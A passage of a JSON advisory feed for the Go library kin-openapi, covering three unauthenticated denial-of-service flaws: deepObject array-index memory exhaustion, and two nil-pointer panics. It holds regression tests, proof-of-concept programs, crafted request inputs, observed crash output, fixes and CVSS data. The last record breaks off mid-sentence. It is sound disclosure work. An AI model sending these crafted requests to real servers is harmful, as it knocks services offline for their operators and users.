(\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest:    req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /b:\n    post:\n      requestBody:\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /p/{param}:\n    get:\n      parameters:\n        - name: param\n          in: path\n          required: true\n          style: simple\n          explode: false\n          schema:\n            type: object\n            properties:\n              items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-21T20:56:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34","https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388","https://github.com/getkin/kin-openapi/releases/tag/v0.142.0","https://github.com/advisories/GHSA-xhj3-7xw9-vr34"],"source_kind":"github","identifiers":["GHSA-xhj3-7xw9-vr34","CVE-2026-77354"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-21T21:00:10.552Z","updated_at":"2026-10-22T13:01:23.320Z","epss_percentage":0.00524,"epss_percentile":0.43533,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.142.0","vulnerable_version_range":"\u003e= 0.124.0, \u003c 0.142.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd","url":"https://github.com/advisories/GHSA-mmfr-pmjx-hw9w","title":"kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS","description":"### Summary\n\nA nil-pointer dereference in `openapi3filter.ConvertErrors` lets any unauthenticated client crash a server with a single HTTP request. When an application validates a `multipart/form-data` request body and renders the resulting validation error through the library-provided `ValidationErrorEncoder` / `ConvertErrors` helpers, a malformed scalar form field (e.g. a non-numeric value for an `integer` property) produces an error shape that `convertParseError` dereferences without a nil check. The handler goroutine panics, causing a denial of service. `application/json` request bodies are **not** affected — the bug is specific to `multipart/form-data`.\n\n### Details\n\nThe panic is in `convertParseError`, at [`openapi3filter/validation_error_encoder.go:119-120`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L119) (still present on `master` at the time of writing):\n\n```go\n} else if innerErr.RootCause() != nil {\n    if rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n        rootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" {   // ❌ e.Parameter may be nil → panic\n```\n\nThe comparison `e.Parameter.In == \"query\"` assumes `e.Parameter` is non-nil. It is reached whenever **both** of the following hold:\n\n1. **`e.Parameter == nil`.** A `*RequestError` carries *either* `Parameter` (parameter errors) *or* `RequestBody` (body errors), never both. `ValidateRequestBody` builds body errors with only `RequestBody` set, leaving `Parameter` nil — see [`validate_request.go:326-332`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validate_request.go#L326).\n2. **`innerErr.Cause` is itself a `*ParseError`** (a `ParseError` nested inside a `ParseError`), so the type assertion on line 119 succeeds and execution reaches the `e.Parameter.In` dereference on line 120.\n\nThe only default code path that satisfies *both* conditions is the **multipart** body decoder, which wraps a failed part's `*ParseError` inside another `*ParseError` at [`req_resp_decoder.go:1549`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1549) and [`:1558`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1558):\n\n```go\nif v, ok := err.(*ParseError); ok {\n    return nil, \u0026ParseError{path: []any{name}, Cause: v}   // v is a *ParseError → nested\n}\n```\n\nWhy other paths do **not** reach the dereference:\n\n| Body content type | Failure mode | `RequestError.Err` shape | `.Cause` is `*ParseError`? | `e.Parameter` | Panics? |\n|---|---|---|---|---|---|\n| **`multipart/form-data`** | scalar part fails primitive parse (`age=notanumber`) | `*ParseError` wrapping a `*ParseError` | **yes** | `nil` | **YES** |\n| `application/json` | malformed JSON syntax | `*ParseError` whose `.Cause` is an `encoding/json` error | no (assertion fails → safe fallback branch) | `nil` | no |\n| `application/json` | wrong type / schema violation | `*openapi3.SchemaError` (routed to `convertSchemaError`, never reaches `convertParseError`) | n/a | `nil` | no |\n| styled `query` / `path` params | invalid format | `*ParseError` wrapping a `*ParseError` | yes | **set (non-nil)** | no (guard/assignment succeeds) |\n\nNote that the sibling `\"path\"` branch two lines above ([line 108](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L108)) already guards correctly with `e.Parameter != nil`; the `\"query\"` branch simply omits the same guard.\n\n**Recommended fix.** Add the missing nil guard to the condition:\n\n```diff\n \t\tif rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n-\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" {\n+\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter != nil \u0026\u0026 e.Parameter.In == \"query\" {\n```\n\nWhen `e.Parameter == nil` the inner `if` is skipped and control falls through to the existing `return \u0026ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason}` at [line 127-130](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L127) — a correct `400 Bad Request`. I verified that applying only this one-line guard stops the panic and returns `*ValidationError{Status: 400}`.\n\nMinor follow-up worth including in the same change: for the multipart nested `*ParseError`, the *outer* `ParseError.Reason` is empty, so the fallback `Title: innerErr.Reason` yields a `400` with an **empty `Title`**. The descriptive text lives in `innerErr.Error()` (e.g. `\"path age: value notanumber: an invalid integer: invalid syntax\"`). Prefer a non-empty fallback:\n\n```go\ntitle := innerErr.Reason\nif title == \"\" {\n    title = innerErr.Error()\n}\nreturn \u0026ValidationError{Status: http.StatusBadRequest, Title: title}\n```\n\n### PoC\n\nVerified against revision `98d956447b64eaa10d3570a80b3be1a2849945f1` (also reproducible on current `master`), Go 1.25.0.\n\n**1. Spec** — one operation accepting a `multipart/form-data` body with a non-string scalar (`integer`) property:\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                age: {type: integer}\n      responses:\n        '200': {description: ok}\n```\n\n**2. Program** — validate a request whose `age` part is non-numeric, then convert the error the way a typical error-rendering middleware does:\n\n```go\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                age: {type: integer}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// multipart body: a non-numeric value for the integer property \"age\"\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\t_ = w.WriteField(\"age\", \"notanumber\")\n\tw.Close()\n\n\tr, _ := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\tr.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pp, _ := router.FindRoute(r)\n\n\treqErr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\tfmt.Printf(\"ValidateRequest returned: %T\\n\", reqErr) // *openapi3filter.RequestError\n\n\t// What an application's error-rendering middleware calls:\n\t_ = openapi3filter.ConvertErrors(reqErr) // panics\n\tfmt.Println(\"no panic (unexpected)\")\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nValidateRequest returned: *openapi3filter.RequestError\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3filter.convertParseError(...)\n\t.../openapi3filter/validation_error_encoder.go:120 +0x17c\ngithub.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)\n\t.../openapi3filter/validation_error_encoder.go:42 +0xec\nmain.main()\n\t...\nexit status 2\n```\n\nThe panic is at exactly `validation_error_encoder.go:120` — the unguarded `e.Parameter.In` dereference.\n\n**Control (confirms JSON is not a vector):** repeating the setup with an `application/json` body and either a malformed body (`{\"age\": `) or a wrong-type body (`{\"age\": \"notanumber\"}`) returns from `ConvertErrors` normally, with no panic. Only the `multipart/form-data` path crashes.\n\nIn a real HTTP server, `ConvertErrors` / `ValidationErrorEncoder.Encode` runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a `recover()` in the middleware chain, is trivially repeatable.\n\n### Impact\n\n- **Type:** Nil-pointer dereference → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` that (1) exposes an endpoint accepting a `multipart/form-data` request body with at least one non-string scalar property (`integer` / `number` / `boolean`), **and** (2) renders validation errors through the library's own `ValidationErrorEncoder` or `ConvertErrors` helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration.\n- **Attack:** a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.\n- **Consequence:** the handling goroutine panics. Absent a `recover()` boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.\n- **Not affected:** applications that only accept `application/json` bodies (verified above), applications that do not use `ConvertErrors` / `ValidationErrorEncoder` to format errors, or applications that wrap handlers in a `recover()` (which converts the crash into a handled 500 but still prevents normal error rendering).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-21T20:55:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w","https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c","https://github.com/getkin/kin-openapi/releases/tag/v0.141.0","https://github.com/advisories/GHSA-mmfr-pmjx-hw9w"],"source_kind":"github","identifiers":["GHSA-mmfr-pmjx-hw9w","CVE-2026-76905"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-21T21:00:10.552Z","updated_at":"2026-10-18T20:02:05.269Z","epss_percentage":0.00609,"epss_percentile":0.47504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.141.0","vulnerable_version_range":"\u003e= 0.10.0, \u003c 0.141.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto","url":"https://github.com/advisories/GHSA-jpcw-4wr7-c3vq","title":"kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema","description":"| Field | Value |\n|---|---|\n| Ecosystem | Go |\n| Package | `github.com/getkin/kin-openapi` |\n| Affected versions | `\u003c= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) |\n| Patched versions | 0.144.0 |\n---\n\n### Summary\n\n`openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own `doc.Validate()` accepts it — and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.\n\n### Details\n\nThe decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check.\n\n`openapi3filter/req_resp_decoder.go`, around line 197:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {                       // media-type OBJECT is guarded ...\n    err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n    return\n}\noutSchema = mt.Schema.Value          // ... but mt.Schema is NOT — panics when nil\n```\n\nThe function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`.\n\n**Why a schema-less content parameter is legal** (so the sink is reachable — `doc.Validate()` returns no error), in both 3.0.x and 3.1.x:\n\n- `openapi3/parameter.go` — `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it.\n- `openapi3/media_type.go` — `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error.\n\n**Call path to the panic:**\n\n```\nValidateRequest                          openapi3filter/validate_request.go:83\n  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)\n       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)\n            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic\n```\n\n**Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding.\n\n### PoC\n\nReproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`.\n\n**1. Minimal OpenAPI 3.0.3 document** (legal — `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**:\n\n```yaml\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /c:\n    get:\n      parameters:\n        - name: cfg\n          in: query\n          content:\n            application/json: {}      # media type object with NO schema\n      responses:\n        \"200\": {description: ok}\n```\n\n**2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /c:\n    get:\n      parameters:\n        - name: cfg\n          in: query\n          content:\n            application/json: {}      # media type object with NO schema\n      responses:\n        \"200\": {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Reachability: the malformed-but-legal document must validate.\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tpanic(\"doc.Validate rejected the spec, not reachable: \" + err.Error())\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Handler mirrors openapi3filter.ValidationHandler: find route, validate.\n\th := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\t// Panics here on the crafted request (req_resp_decoder.go:197).\n\t\tif err := openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest:    r,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t}); err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(h)\n\tdefer srv.Close()\n\n\t// The single, unauthenticated attack request.\n\tresp, err := http.Get(srv.URL + \"/c?cfg=1\")\n\tif err != nil {\n\t\t// Expected: the server goroutine panicked, so the client sees EOF.\n\t\tfmt.Printf(\"client received an aborted response (expected): %v\\n\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tfmt.Printf(\"UNEXPECTED: got HTTP %d without a panic\\n\", resp.StatusCode)\n}\n```\n\n**3. Observed result** — the request goroutine panics inside validation, and the client's `http.Get` returns an EOF:\n\n```\nhttp: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)\n\topenapi3filter/req_resp_decoder.go:197\ngithub.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)\n\topenapi3filter/req_resp_decoder.go:166\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)\n\topenapi3filter/validate_request.go:177\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\topenapi3filter/validate_request.go:83\n```\n\nSwapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause.\n\n### Impact\n\nThis is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one 